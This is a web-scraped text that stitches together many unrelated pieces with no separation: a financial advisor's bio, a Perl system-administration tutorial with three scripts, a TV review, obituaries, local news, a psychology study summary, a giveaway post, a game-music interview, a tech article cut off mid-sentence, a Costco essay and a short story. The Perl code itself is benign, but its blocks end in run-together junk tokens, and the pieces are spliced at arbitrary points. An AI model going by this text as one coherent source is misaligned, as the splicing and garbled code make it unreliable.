Timothy R. Lee, CFP®, is a managing director and cofounder of Monument Wealth Management in Alexandria, Va., a full-service investment and wealth management firm. Monument Wealth Management is backed by LPL Financial, an independent broker-dealer and Registered Investment Advisor, member FINRA/SIPC. Monument Wealth Management has been featured in several national media sources over the past several years. Follow Tim and Monument Wealth Management on their blog Off The Wall, on Twitter at @MonumentWealth, and on their Facebook page.
The opinions voiced in this material are for general information only and are not intended to provide specific advice or recommendations for individuals. To determine which investment is appropriate, please consult your financial advisor prior to investing. All performance references are historical and are not a guarantee of future results. Stock investing involves risks, including loss of principal.Did you know that Perl is a great programming language for system administrators? Perl is platform-independent so you can do things on different operating systems without rewriting your scripts. Scripting in Perl is quick and easy, and its portability makes your scripts amazingly useful. Here are a few examples, just to get your creative juices flowing!
Renaming a bunch of files
Suppose you need to rename a whole bunch of files in a directory. In this case, we've got a directory full of.xml files, and we want to rename them all to.html. Easy-peasy!
#!/usr/bin/perl
use strict ;
use warnings ;
foreach my $file ( glob "*.xml" ) {
my $new = substr ( $file, 0, - 3 ). "html" ;
rename $file, $new ;
} strictwarnings
Then just cd to the directory where you need to make the change, and run the script. You could put this in a cron job, if you needed to run it regularly, and it is easily enhanced to accept parameters.
Speaking of accepting parameters, let's take a look at a script that does just that.
Creating a Linux user account
Suppose you need to regularly create Linux user accounts on your system, and the format of the username is first initial/last name, as is common in many businesses. (This is, of course, a good idea, until you get John Smith and Jane Smith working at the same company—or want John to have two accounts, as he works part-time in two different departments. But humor me, okay?) Each user account needs to be in a group based on their department, and home directories are of the format /home/<department>/<username>. Let's take a look at a script to do that:
#!/usr/bin/env perl
use strict ;
use warnings ;
my $adduser = '/usr/sbin/adduser' ;
use Getopt :: Long qw ( GetOptions ) ;
# If the user calls the script with no parameters,
# give them help!
if ( not @ ARGV ) {
usage ( ) ;
}
# Gather our options; if they specify any undefined option,
# they'll get sent some help!
my %opts ;
GetOptions ( \%opts,
'fname=s',
'lname=s',
'dept=s',
'run',
) or usage ( ) ;
# Let's validate our inputs. All three parameters are
# required, and must be alphabetic.
# You could be clever, and do this with a foreach loop,
# but let's keep it simple for now.
if ( not $opts { fname } or $opts { fname }!~ /^[a-zA-Z]+$/ ) {
usage ( "First name must be alphabetic" ) ;
}
if ( not $opts { lname } or $opts { lname }!~ /^[a-zA-Z]+$/ ) {
usage ( "Last name must be alphabetic" ) ;
}
if ( not $opts { dept } or $opts { dept }!~ /^[a-zA-Z]+$/ ) {
usage ( "Department must be alphabetic" ) ;
}
# Construct the username and home directory
my $username = lc ( substr ( $opts { fname }, 0, 1 ). $opts { lname } ) ;
my $home = "/home/$opts{dept}/$username" ;
# Show them what we've got ready to go.
print "Name: $opts{fname} $opts{lname}
" ;
print "Username: $username
" ;
print "Department: $opts{dept}
" ;
print "Home directory: $home
" ;
# use qq() here, so that the quotes in the --gecos flag
# get carried into the command!
my $cmd = qq ( $adduser -- home $home -- ingroup $opts { dept } \\
-- gecos "$opts{fname} $opts{lname}" $username ) ;
print "$cmd
" ;
if ( $opts { run } ) {
system $cmd ;
} else {
print "You need to add the --run flag to actually execute
" ;
}
sub usage {
my ( $msg ) = @_ ;
if ( $msg ) {
print "$msg
" ;
}
print "Usage: $0 --fname FirstName --lname LastName --dept Department --run
" ;
exit ;
} strictwarningsGetoptGetOptionsusageGetOptionsusagefnamefnameusagelnamelnameusagedeptdeptusagefnamelnamehomeingroupdept\\gecosrunusage
As with the previous script, there are opportunities for enhancement, but something like this might be all that you need for this task.
One more, just for fun!
Change copyright text in every Perl source file in a directory tree
Now we're going to try a mass edit. Suppose you've got a directory full of code, and each file has a copyright statement somewhere in it. (Rich Bowen wrote a great article, Copyright statements proliferate inside open source code a couple of years ago that discusses the wisdom of copyright statements in open source code. It is a good read, and I recommend it highly. But again, humor me.) You want to change that text in each and every file in the directory tree. File::Find and File::Slurp are your friends!
#!/usr/bin/perl
use strict ;
use warnings ;
use File :: Find qw ( find ) ;
use File :: Slurp qw ( read_file write_file ) ;
# If the user gives a directory name, use that. Otherwise,
# use the current directory.
my $dir = $ARGV [ 0 ] || '.' ;
# File::Find::find is kind of dark-arts magic.
# You give it a reference to some code,
# and a directory to hunt in, and it will
# execute that code on every file in the
# directory, and all subdirectories. In this
# case, \&change_file is the reference
# to our code, a subroutine. You could, if
# what you wanted to do was really short,
# include it in a { } block instead. But doing
# it this way is nice and readable.
find ( \&change_file, $dir ) ;
sub change_file {
my $name = $_ ;
# If the file is a directory, symlink, or other
# non-regular file, don't do anything
if ( not - f $name ) {
return ;
}
# If it's not Perl, don't do anything.
if ( substr ( $name, - 3 ) ne ".pl" ) {
return ;
}
print "$name
" ;
# Gobble up the file, complete with carriage
# returns and everything.
# Be wary of this if you have very large files
# on a system with limited memory!
my $data = read_file ( $name ) ;
# Use a regex to make the change. If the string appears
# more than once, this will change it everywhere!
$data =~ s/Copyright Old/Copyright New/g ;
# Let's not ruin our original files
my $backup = "$name.bak" ;
rename $name, $backup ;
write_file ( $name, $data ) ;
return ;
} strictwarningsFilefindFileread_file write_filefindchange_fileread_filewrite_file
Because of Perl's portability, you could use this script on a Windows system as well as a Linux system—it Just Works because of the underlying Perl interpreter code. In our create-an-account code above, that one is not portable, but is Linux-specific because it uses Linux commands such as adduser.
In my experience, I've found it useful to have a Git repository of these things somewhere that I can clone on each new system I'm working with. Over time, you'll think of changes to make to the code to enhance the capabilities, or you'll add new scripts, and Git can help you make sure that all your tools and tricks are available on all your systems.
I hope these little scripts have given you some ideas how you can use Perl to make your system administration life a little easier. In addition to these longer scripts, take a look at a fantastic list of Perl one-liners, and links to other Perl magic assembled by Mischa Peterson.A few years ago, The Walking Dead, then the biggest show in the history of history, missed what I saw as a great opportunity to reinvent itself: Rick Grimes (Andrew Lincoln) and his ragtag band of zombie-apocalypse survivors had arrived, wild-eyed and battle-scarred, in the idyllic community of Alexandria. By this time, Rick had become a pretty remorseless killer, well accustomed to taking out anyone who got in his way. This was justifiable, considering that most of the people who had gotten in his way were trying to kill him and/or the people in his group, but over time Rick’s hesitation and remorse about killing his antagonists had dissolved to the point where he was generally shooting first, asking questions later.
So when Rick rolled into Alexandria for the first time, a pretty blonde named Jessie caught his eye, and he caught hers, but it turned out that Jessie was married, and there seemed to be a real possibility that he might kill her husband just because he stood in the way of what Rick wanted. This would have changed the show completely, but in a totally organic, story-driven way: what would the rest of Rick’s loyal group do when Rick became the threat? What would The Walking Dead look like if its main character broke bad, and its central conflict changed from us versus them to us versus us?
Of course, the show did not follow that route. Rick did kill Jessie’s husband, but the writers copped out by making Jessie’s husband turn out to be a wifebeater, so Rick killed him in her defense, making him once again the haloed hero and savior, and The Walking Dead went into the fourth (fifth? sixth? I honestly lost count) iteration of its well-rehearsed story template, in which Rick and company find a new safe place, the safe place turns out to not be so safe, they have to take down a new Big Bad, and then they have to hit the road again.
You can be forgiven if you checked out around this point in the series. Once it became clear that the Negan arc, which kicked off at the end of the Alexandria season, was just going to be another rehash of a story the show had already done several times, I checked out myself. And judging by the show’s sinking ratings ever since Negan bashed Glenn’s head in, I was not the only one.
The slide has continued in season 9 — the premiere was the least-watched since the 2010 pilot, and the most recent episode was an all-time ratings low for the series — and that’s a shame, because thanks to new showrunner Angela Kang, The Walking Dead is suddenly showing signs of life.
There are definitely some gaps in my knowledge of how the show got to this point, as I skipped all of season 8 and most of season 7, but at the start of season 9, Negan (Jeffrey Dean Morgan) and the Saviors have been defeated, Daryl (Norman Reedus) has been appointed viceroy (my word, for lack of a better one) of the Sanctuary, Carol (Melissa McBride) has shacked up with King Ezekiel (Khary Payton) at the Kingdom, Maggie (Lauren Cohan) has democratically succeeded Gregory as the leader of Hilltop, and Rick, who paired up with Michonne (Danai Gurira) sometime while I wasn’t looking, are the benevolent rulers of Alexandria.
The zombie combat set pieces, which had grown rote and unexciting, have been de-emphasized this season — they’re still there, but at this point walkers are more of a nuisance than an existential threat — in favor of a focus on rebuilding society, and the considerations and politics that involves. As Rick puts it in the new season’s second episode, “We’re still ready to deal with this world on its own terms, but we’re not letting it define us… we’re not just fighting to survive anymore.”
What makes this new season interesting is that, as the heads of their own respective communities with their own respective needs, Rick, Maggie, Daryl, and Carol, always so tightly aligned in earlier seasons, are coming into conflict. After Carl’s death at Negan’s hands (something else I missed), Rick has honored his fallen son’s memory by emphasizing peace and reconciliation, even with the Saviors, and leading by example, sentenced Negan to life behind bars, rather than killing him the way he killed the Governor and all his other foes. And given the practical necessities — each of these communities has its own monopoly on something the other communities need — it’s in everyone’s interest that a certain level of peace be maintained.
But the kumbayah approach may not agree with Maggie, who after watching her husband get his brains bashed in by Negan is not so keen to share Hilltop’s food with the Saviors, particularly when they do not come through in trade with the Ethanol that Hilltop needs to run the tractor; it may not work for Daryl, who spent season 7 under the Saviors’ thumb as their slave and is now expected to keep them in line, a plan they are decidedly unlikely to cooperate with.
I hate to let real-life events influence what I think is going to happen in a fictional universe, but AMC has not exactly made a secret of the fact that both Andrew Lincoln and Lauren Cohan are leaving the show this season — in Lincoln’s case, they’ve been counting down to his last episode in the promos. What would really be interesting is if the growing tension between the two leaders reached such a fever pitch that they kill each other, or, perhaps more likely given that Cohan has publicly been open to a return sometime down the road, Maggie kills Rick, and is then either exiled or put in jail for the crime. After that, who knows what the show will do with who’s left? I honestly have no idea.
This is just wild speculation, of course — we haven’t seen any screeners for future episodes, we’re in the same boat as everyone else. But based on the first three episodes of season 9, all of which are available on demand, lapsed fans of The Walking Dead might find it worthwhile to give it another look. I never thought I’d say this again about this show, but I can’t wait to see what they do next.
New episodes of The Walking Dead air at 9pm ET on AMC; recent episodes are available on demand.
WATCH SLING TV NOWA comedy writer and producer who spent 15 years on “The Simpsons” has died in Los Angeles after a long illness. Kevin Curran was 59.
Spokeswoman Antonia Coffman says Curran died Tuesday.
Curran joined “The Simpsons” in 2001 and in recent years had been co-executive producer. Episodes he wrote included 2005’s “Don’t Fear the Roofer” and 2014’s “The Winter of His Content.”
He won three Emmy Awards on “The Simpsons” and in 2010 was nominated for a Humanitas award for his episode “The Greatest Story Ever D’ohed.”
In the 1980s he was on the writing team of “Late Night with David Letterman,” where he shared in three Emmys.
He wrote for “Married... With Children,” for which he also served as the uncredited voice of Buck the Dog.The shooting occurred in the 4800 block of North Kenneth Avenue, police said. View Full Caption Youtube.com/albowrx
CHICAGO — A dashcam video captured a shooting in North Mayfair Saturday afternoon.
A video posted by albowrx on YouTube shows a man firing multiple shots before getting into a car and leaving the scene.
At 3:12 p.m. Saturday, two men exchanged gunshots in the 4800 block of North Kenneth Avenue, said Officer Janel Sedevic, a Chicago Police spokeswoman.
Both men left the scene after the shooting, and no injuries were reported, Sedevic said.
In the video, a few moments before the shooting a woman is seen walking on the sidewalk. She then turns into an alley as a man appears walking next to a four door sedan and begins firing shots.
The man then runs and fires some more shots before getting into the car and driving off.
No arrests have been made, and police are investigating the shooting, Sedevic said.
For more neighborhood news, listen to DNAinfo Radio here:DEARBORN - Robert Yates made a living out of going fast.
So when word came that he passed away yesterday after a year-long battle with cancer, it was only natural for those in the sport to link him with the place where speed is king – Daytona International Speedway.
Although some teams would likely be somewhat nervous about what might transpire during SpeedWeeks, anyone who had an association with Yates usually could rest easy. From his decorated career as an engine builder to his years as a Cup team owner, Yates made the Daytona 500 a special target every year, and his cars usually rolled out of their transporters in the Daytona garage as the prime target for everyone else.
Yates had a long relationship with Ford Motor Co. and his special skills in relation to Daytona made for a series of highlights.
“It was about the trophies for Robert at Daytona,” said Hall of Fame driver Dale Jarrett, who drove for Yates from 1995 to 2006, winning two Daytona 500s and the Cup championship in 1999. “He wanted to go to Daytona and lead the practices and sit on the pole and show he had the fastest car. His team did everything and anything they could do to be ahead of the competition.
“Those races put dollars in the bank account, but the big thing was the pride they took away from knowing they took the fastest car to Daytona.”
Jarrett said he experienced the devotion Yates and his team put into Daytona in his first drive there in 1995.
“When I went there with them in ’95, I knew it was going to be my chance to do some big things,” Jarrett said. “They worked tirelessly in getting prepared for the Daytona 500. We had some engine problems in testing there. They literally rebuilt an engine sitting in the floor of the garage stall there. Then we ran a couple of 10ths faster than we had run. I knew from that point on at Daytona that I had a shot.”
Yates began his NASCAR career in a low-level job at the giant Holman-Moody team, where he learned the ins and outs of engine-building quickly and showed a knack for innovation. He would move on to build winning engines for the Junior Johnson and DiGard Racing teams before moving into team ownership, scoring his first successes in that role with young driver Davey Allison.
Ernie Irvan, Lake Speed, Robby Gordon, Kenny Wallace, Jarrett and Elliott Sadler drove Robert Yates Racing cars. Yates made the transition from ace engine-builder to winning team owner with relative ease.
“He could do anything,” said Wood Brothers Racing co-owner Len Wood. “He was probably best known as an engine builder who always had the most horsepower. He drove the truck. He jacked the car. He gassed the car. He built the engines. He was very sharp on aerodynamics. He was an all-around guy.
“He accomplished more than a lot of people in this garage – from championships to wins.”
Yates’ engine-building abilities are the stuff of legend. Even with his successes as a team owner, his engine expertise probably will be the big thing associated with his legacy. Among the engines he built is the one that powered Richard Petty’s car to his 200th – and final – victory at Daytona in the summer of 1984.
“There are so many engineers in the sport now,” Jarrett said. “Robert wasn’t an engineer, but he’s smarter than 90 percent of the engineers you’ll ever run across. He has such a great mind in so many areas. He was always thinking of what he could do that would put us a step ahead, or, when the competition caught him, he was thinking on what would get us a step ahead again.
“He was always working to give us an advantage, especially under the hood.”
And that focus continues today in the Roush Yates Engines operation, where Yates’ influence will continue to be a key element in the organization’s success.Chinese and American people see the world differently – literally. While Americans focus on the central objects of photographs, Chinese individuals pay more attention to the image as a whole, according to psychologists at the University of Michigan, in Ann Arbor, US.
“There is plenty of anecdotal evidence suggesting that Western and East Asian people have contrasting world-views,” explains Richard Nisbett, who carried out the study. “Americans break things down analytically, focusing on putting objects into categories and working out what rules they should obey,” he says.
By contrast, East Asians have a more holistic philosophy, looking at objects in relation to the whole. “Figuratively, Americans see things in black and white, while East Asians see more shades of grey,” says Nisbett. “We wanted to devise an experiment to see if that translated to a literal difference in what they actually see.”
The researchers tracked the eye-movements of two groups of students while they looked at photographs. One group contained American-born graduates of European descent and the other was comprised of Chinese-born graduate students who came to the US after their undergraduate degrees.
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Each picture showed a striking central image placed in a realistic background, such as a tiger in a jungle. They found that the American students spent longer looking at the central object, while the Chinese students’ eyes tended to dart around, taking in the context.
Harmony versus goals
Nisbett and his colleagues believe that this distinctive pattern has developed because of the philosophies of these two cultures. “Harmony is a central idea in East Asian philosophy, and so there is more emphasis on how things relate to the whole,” says Nisbett. “In the West, by contrast, life is about achieving goals.”
Psychologists watching American and Japanese families playing with toys have also noted this difference. “An American mother will say: Look Billy, a truck. It’s shiny and has wheels.’ The focus is on the object,” explains Nisbett. By contrast, Japanese mothers stress context saying things like, “I push the truck to you and you push it to me. When you throw it at the wall, the wall says ouch’.”
Nisbett also cites language development in the cultures. “To Westerners it seems obvious that babies learn nouns more easily. But while this is the case in the West, studies show that Korean and Chinese children pick up verbs – which relate objects to each other – more easily.
“Nisbett’s work is interesting and suggestive,” says John Findlay, a psychologist specialising in human visual attention at Durham University, UK. “It’s always difficult to put an objective measure on cultural differences, but this group have made a step towards that.”
Nisbett hopes that his work will change the way the cultures view each other. “Understanding that there is a real difference in the way people think should form the basis of respect.”
Journal reference: Proceedings of the National Academy of Sciences (vol 102, p 12629)The 15 wildfires currently burning on the Cherokee Indian Reservation are now 90 percent contained according to information from the Sierra Front Incident Management Team on Tuesday, Nov. 22. The fires, which started on Wednesday, Nov. 2, range 756 acres.
As of Tuesday, 71 personnel were working the fires. Five structures are threatened, but to date, none have been lost. Sierra Front relates that there is not an estimated date of total containment. Some of the fire personnel were sent to the Clear Creek Fire to assist the Uwharrie Ranger District.
“Fire suppression crews continue to monitor and patrol all fires within the Qualla Boundary,” said the Sierra Front public information office said in a statement on Monday. “Safety of the firefighters and the community is number one priority as the firefighters go about their daily responsibilities. Fire prevention is extremely important in the community.”
Officials also stress holiday cooking safety. “When deep frying turkeys, please have at least 10 feet clearance from any flammable material. Never leave a turkey fryer unattended. Make sure your turkey is thawed. Extra water will cause the oil to spill over the burner and may start a fire.”
A burn ban remains in effect for the Qualla Boundary until further notice. All fires currently burning are under investigation by local law enforcement. Since October, a total of 35 fires have burned within the Qualla Boundary. The Bureau of Indian Affairs is seeking information regarding arson fires on Indian Lands through the WeTip Program (www.wetip.com).
North Carolina Governor Pat McCrory announced on Thursday, Nov. 17 that the state is offering a reward of up to $10,000 to be issued to anyone who provides information leading to the arrest and conviction of the person or persons who are responsible for setting wildfires in western North Carolina. More than 46,000 acres have been burned by wildfires throughout the region, many of which are believed to be man-made.
“We are committed to doing all we can to support our firefighters, protect people and property, and find those who may be responsible for any wildfires in North Carolina,” Gov. McCrory said. “Firefighters are making progress, but the job is not over.”
Statewide, the Governor’s Office related that 2,100 personnel are fighting fires which have burned more than 46,700 acres and threatened 1,800 structures.
– One Feather staff reportThis post may contain referral/affiliate links. If you buy something, MSA may earn a commission. Read the full disclosure
We have been working with some of the most popular subscription boxes to get MSA readers deals that are even BETTER than their Black Friday Deals! These deals start MONDAY, 11/20!
Here is what you need to know:
Monday, November 20th – Better Than Black Friday deals start at noon ET, and we’ll release a new deal every half hour.
– Better Than Black Friday deals start at noon ET, and we’ll release a new deal every half hour. Tuesday, November 21st – Dollar Deals (Boxes for under $10) launch at noon. And we’ll have MSA exclusive mystery boxes launching every hour starting at 1 PM ET!
FYI – Some deals may be limited in the number of redemptions, or mystery box inventory, so make sure to follow deals as they launch and grab them quickly if you want them!
Want to get a sneak peek at some of the boxes that will be featured? Check out our Instagram stories Friday, 11/17!
How to Get Ready:
And while you’re waiting, check out the regular Black Friday deals that have already launched (I recommend bookmarking this page) and enter our giveaway-a-day countdown to Monday! Today’s prize is the Look Fantastic Advent Calendar!
Enter the giveaway below and good luck! (Winner will be contacted by email – make sure to enter with an email account you check frequently).
If you do the refer-a-friend entry option in this giveaway, you’ll get the entries for that once the friend has entered the giveaway. We’ll ship this prize to anywhere Look Fantastic ships to! Giveaway is open only to people ages 18 and over.
a Rafflecopter giveawayTowards the end of September, Final Fantasy XIV Sound Director Masayoshi Soken had an opportunity to do something that not all video game music creators get to do: feature his work in an orchestra concert. While this wasn’t the first time that his music would be performed in an orchestral arrangement (Distant Worlds has performed FFXIV music in the past), it would be the first time that a concert would play FFXIV music exclusively.
We know from talking with Soken-san a couple of years ago at PAX that an orchestra concert is something he’s been considering in addition to his already popular rock group The Primals, which have performed at all of the Fan Festivals, been featured on two albums, which then also feature piano arrangements of Final Fantasy XIV music. While currently working on music for upcoming Final Fantasy XIV patches, Soken-san is also working on the Blu-ray of the orchestra concert which releases at the end of next month.
Somewhere in-between all of his work, Soken-san was able to find the time to respond to some of our questions about the first-ever Final Fantasy XIV orchestra concert, which you can read below.
Gamer Escape: When we talked with you at PAX in Seattle back in 2015, you said you were already thinking about an orchestra concert. How long have you been planning it?
Masayoshi Soken: In terms of preparation on a personal level, I started as early as the beginning of A Realm Reborn development. As for working on it as a collaborative effort with the team, I started around two years ago.
GE: Was it difficult to arrange each of these pieces for an orchestra?
Soken: I’ve worked on various arrangements in FINAL FANTASY XIV, but in creating each piece, there’s something I have taken great care to remember: the music is not the star, it’s part of the drama that the player creates as they live within Eorzea.
In other words, I could not possibly create an arrangement that could potentially trample upon the setting of Eorzea, which all of the players have lived in and experienced. The orchestra arrangement is no different—my thinking has not changed, and this allowed me to establish how I would like to tweak the songs in my mind straight away.
However, some phrases and range of notes produced in-game are not necessarily feasible to recreate when people perform in an orchestra, and simply copying the notes without any care would produce a score that can’t be performed. Therefore, I had to go in and make adjustments: changing which instrument played a particular part, modifying the melody without the listener noticing, and other adjustments similar to that.
I mentioned at the beginning, too, but I didn’t want to trample on our players experiences within Eorzea, and on top of that I needed to put together a score that the orchestra musicians can perform…it was quite the task to undertake.
GE: Did you have any personal involvement with the Tokyo Philharmonic Orchestra?
Soken: This dates back to really long ago, but my father, before he joined the NHK Philharmonic, was a member of the Tokyo Philharmonic Orchestra.
GE: You have so many pieces of music to choose from when doing a concert like this. How did you decide which pieces to perform? Were there any songs that you wanted to do, but for whatever reason they didn’t make the cut?
Soken: As this was the first concert for us, Yoshida-san and I racked our brains really hard for a few months to decide on the song list. We had a goal to make this like an orchestral suite, so while we did take great care to consider the FINAL FANTASY XIV story line, we also wanted to shape the history of our Warriors of Light in Eorzea through the music.
Both Yoshida and I had many songs we wanted to include in our set list this time. However, considering the time it would take to create the scores, as well as the length the scores of some of the pieces would have been, we decided to compact our vision into 18 songs that were performed at the concert.
GE: Similarly, when making the Orchestral Mini album, how did you decide what pieces to include?
Soken: We carefully chose eight (8) songs from the list of pieces we were going to perform at the concert. The CD was set to release prior to the concert, so simply put, we chose songs which were easiest to create scores for first.
GE: What was the inspiration behind having Oblivion performed with a quartet?
Soken: First, I had originally thought of wanting to do a ballad arrangement of this song. When I released the third soundtrack, Before the Fall, I went to various CD shops around Japan to commemorate the release of the album. When we stopped at a CD shop in Hokkaido for the event, I heard through the grapevine that there was a Warrior of Light who worked at the store, and that she was also a talented singer.
So, out of the blue I asked if we could have her sing Shiva’s theme while I played the piano. She agreed, and when we performed it, the store was packed with Warriors of Light who gave us an overwhelming ovation. That made me think that that kind of composition would make a cool arrangement. Based on that inspiration, I created a proper ballad version of Shiva’s theme in Duality, our arrangement album, which was received very well by the players.
Now, when doing an orchestra concert, I pondered about how I could best express Shiva’s ballad using an orchestra, and came to settle on a string quartet. I used the intertwining tone of four string instruments to express the thin strings of the Dragonsong War that entangles Ysayle’s life and the history it weaved.
GE: Was the pause during the Alexander theme “Moebius” influenced in any way by the reaction you received during the pause when you performed “Rise” at the Primals concert at Fan Fest in Frankfut?
Soken: Originally when we were brainstorming ideas for the orchestra concert, Yoshida-san had mentioned that he would love to have a dramatic moment where “time” for the performers’ stopped completely. The pause during the Frankfurt concert was based on that idea, so in actuality, the idea for the orchestra concert came first (laughs).
GE: Does Yoshida play a mad drum?
Soken: His performance was ”okay”! I’d like for him to try out Extreme next. Then he will have to practice a lot, huh!
GE: What was your favorite part of the concert?
Soken: The fact that the Warriors of Light left the concert hall with very satisfied expressions—we all got goosebumps when we saw all 5,000 attendees rise for a standing ovation. Having experienced that, it made me feel truly happy that I have been able to create sound and music for this game.
GE: Lots of merchandise sold out, the concerts sold out…it was very popular! How likely is it that we’ll see more orchestra concerts in the future?
Soken: If I think only about how difficult the preparation for even just these shows was, I feel like I might never want to think about a “next time,” but considering the applause from so many Warriors of Light…I really would like to do another one.
GE: With the popularity of this concert, has there been any talk yet about bringing it to North America and Europe?
Soken: FINAL FANTASY XIV is a global title, so we do not intent to end it with just Japan! We will work hard to bring this to as many locations as we are able, but it really is hard to execute a concert at this scale while still working on development of the game.
However, we are FINAL FANTASY XIV, and we will do our best to make it happen! If and when we get to do an overseas concert, we want all of you, the players, to please come to listen!Yammer plans to roll out an integration with the SkyDrive Pro cloud storage product and the Office Web Apps Web-hosted productivity application suite this summer.
The initiative is part of Yammer's push to deepen and extend the integration of its cloud-hosted enterprise social-networking software with products from Microsoft, which acquired Yammer last July for $1.2 billion.
SkyDrive Pro, an enterprise version of the consumer SkyDrive cloud storage service, will become Yammer's underlying file-storage platform for Yammer, Microsoft said on Wednesday.
The link with Office Web Apps, a browser-based version of the Office suite, will let Yammer users preview and edit documents from applications like Word and Excel right from within the Yammer activity stream interface.
"These new capabilities will improve users' ability to create and collaborate on content, as well as share and discover it, within Yammer," said David Sacks, Yammer co-founder and Office Division corporate vice president.
Yammer, which provides Twitter-like and Facebook-like functionality adapted for workplace collaboration, had a level of integration with Microsoft products like SharePoint and Dynamics prior to the acquisition.
However, Microsoft plans to tightly connect Yammer with many of its collaboration products and business applications. In November at its SharePoint Conference, Microsoft said that the plans include giving Yammer and SharePoint unified user identity, combined document management and aggregation of their respective notification feeds.
Prior to its Yammer acquisition, Microsoft was seen as lagging in adding enterprise social collaboration to SharePoint and its other enterprise products like Office.
It is widely accepted that demand for enterprise social software is growing strongly, as companies bet on the promise that employee collaboration and communication will benefit from giving them tools to do things like set up profiles, aggregate notifications from peers and groups in activity streams, set up online communities, participate in discussion forums, share and co-edit documents and do microblogging.
For example, IDC expects that between |
around the store looking for all those things that I didn’t realize that I really needed, and the time it took to shop at Costco meant that I was missing out doing a lot of other things on the weekends.
You have to pay a yearly membership fee
In order to shop at Costco you need to pay $50 yearly membership fee. Most people are able to justify this cost because of all the savings they get from shopping at Costco. That is why I never had a problem paying for it. It becomes difficult, however, to justify paying $50 a year when you realize that the membership is causing you to spend more than you would have without it.
As with most personal finance questions, what works and doesn’t work depends a lot on your individual habits. The key is that you have to be willing to sometimes look beyond the conventional wisdom to truly see what is happening. I shopped for years at Costco assuming that I was saving money because it has good deals, but when I really started to look at what was going on, it became apparent that shopping at Costco wasn’t really in my best financial interest.
Finally, if you are looking for good alternative, consider looking into getting an Amazon prime membership. Amazon’s prices are competitive and they’ve developed their retail system to the point that their prices are competitive compared to major retailers like Costco or Wal-Mart. They are also offering a standing 30 day free trial, so check it out if you are looking for a good Costco alternative.
For more info on Costco check out these articles.
Is the Costco Membership Fee Worth it?
Is a Costco Executive Membership Worth the Price?
Costco Gas Calculator: Will I Save Money Buying a Membership if All I Buy is Fuel?
Costco Return Policy
Costco Holiday Schedule
Costco Tires
You can check out our articles for Target as well.
Target Christmas Store Hours
Target Holiday Schedule and Store Hours
(Image courtesy of Portal Abras)by Brett Stevens on June 17, 2013
So I was in this city diner, flat-footed and with nothing to do while I waited for things to happen.
This guy came in and stood in the light. The shadow fell over all of us. I didn’t move. People who come in with violence are moving quickly. People who come in to pose always think that they’ll scare you by gestures.
He sat down next to me, which was the only place away from the really old guys in the joint, and ordered himself some greasy plate. I could smell the cigarettes and Nag Champa roll off him. It’s what they burn, the hip types, to hide the smell of what might be going on, or hide that nothing is.
With his hair falling in his face, he ate without making eye contact, but he kept watching us. It wasn’t the paranoid type of watch. It was like a kid poking his Dad. Feel that yet? How about that? Mad yet?
I suppose his costume was designed to provoke unfashionable outrage. He had shoes, of the nearly invisible sandal type. A broad cloth brightly colored shirt that screamed a paraphrase of Potemkin peasant life. Jeans, with obligatory holes positioned like jaunty eyes and smile. A necklace of beads that was cleaner than anything else on him.
To him, I must have looked like an old guy. Not in my 20s, not trying to pretend that I am either. Functional clothes. No cover story, no hip lines, no paraphernalia. A human being without justification and without concealment. In a word, boring. An easy target.
Having just completed several days of negotiation on a lengthy project that involved us installing one thing to please the client, and another to please the shareholders, then billing the latter as some kind of “upgrade” to the former, I knew the value of silence. Silence is gravity. Noise interrupts gravity, makes the world flutter around the listener, and they feel safe. It’s like camouflage, hiding in the brush. Silence means you don’t know where the predator is and whether or not it has a bead on you.
Finally he broke. Explosively, he said, “Pass the salt.” This was not a query. I gave him the old guy eye, then picked up the salt and put it gently next to him. “T’n’u,” he said so quickly I thought it was a foreign language.
“Yup,” I said.
Another couple beats.
“Does it bother you that I’m here?”
“Nope,” I said. “It bothers me that you’re wrong.”
“What, that my lifestyle is bad?”
“No, just that it leads not to what you think it will.”
“That I smoke a boatload of sinsemilla?”
“No, but that you think it matters.”
“What is it then, old man? That I believe things that make you seem old and waiting to die? That you’re stuck in the past, believing in ideas as stale as history itself?”
“Whoa now,” I said. “What ideas are those?”
He gave me a list, starting with corporations and ending with gay marriage.
“Don’t forget making pot illegal,” I said. “So what do you believe?”
He gave me a list, starting with civil rights and ending with gay marriage, and legal pot.
“Oh, those new ideas,” I said. “You mean like the ones that my parents talked about from the 1960s, right? 1968 in Europe, 1965 here. All hell broke loose. They told us those ideas were new then.”
“But you know,” I said, “Those ideas weren’t new then. Even in the 1930s, there were a lot of people who felt that way.” I told him about the Cambridge Five and how trendy it was to be an intellectual Socialist back then.
“Oh, and even before then,” I said. “Around the turn of the century, you had Bohemians and artists raging all over the Continent, being different. And anarchists in the 1920s. In 1917, they took over in Russia, and they wanted all those things you do.”
I laughed. “New ideas. Shit, those ideas ain’t even close to new. Try back in 1789, when the French Revolution happened. Liberty, egalite, fraternity. No borders. Women in uniform. Support the rainbow folk, and all that. And even then it wasn’t new.”
“They were gabbing about that crap back in the Enlightenment,” I said. “They didn’t take it as far, but they hinted they could. And even before then, back when Rome fell, it was very trendy to think those things. And in cosmopolitan Greece, before they fell off the radar, they wanted every one of those things too. And in Babylon. And ancient Angkor Wat.”
“All the same,” I continued. “Because these things aren’t ideas. They’re imprints in reverse. You took what a healthy society would have, you turned it inside out, you claim it’s new and that we should do it or we’re assholes, and now you think you’ve got something on me because you believe these ‘new’ ideas.”
“Let me tell you something,” I said. “I don’t resent you. I don’t pity you, because only assholes pity people. But I know you’re wrong. Not think, know. I read history, I know human beings have never changed, and people have tried every damn thing you’re doing right now, all before. All failed. How do I know? If it worked, shoot, we’d never hear the end of it. There’d be whole Bibles, and Aeneids, and Kalevalas and Mahabaratas dedicated to your new way of doing things.”
But there ain’t, the silence said.
“So you don’t hate me?” he said.
“No,” I said. “I wish I could give you what I know. Years of my life were wasted by lies of all kinds. Some lies were simple stupid ones, like ‘Buy a BMW and do a ream of cocaine, and you’ll feel like God!’ It doesn’t work that way. Others are just big lies, like the stuff they told you.”
“And look,” I said. “I was your age once. For me then ideas were conversation. Fashion. Flattery. A way to make girlies think I was more special than the other guys of average height and average prospects. Something to talk about, since we didn’t know spit about the real world and we couldn’t admit it but we knew that.”
He shrugged. “Way to make it personal, dude.”
“You’re mistaken,” I said. “It’s not personal. It’s about the universe, which is many things that it does not seem to be, and very few that it does, but it’s one thing above all else: consistent. It does the same thing each time you do the same thing.”
“This ain’t personal,” I said, getting up. “This is about one dude in a lonely existence passing on some knowledge to another. Forget me, I wasn’t even here. Remember what I said, because every bit of it cost me blood, guts, pain and tears.”
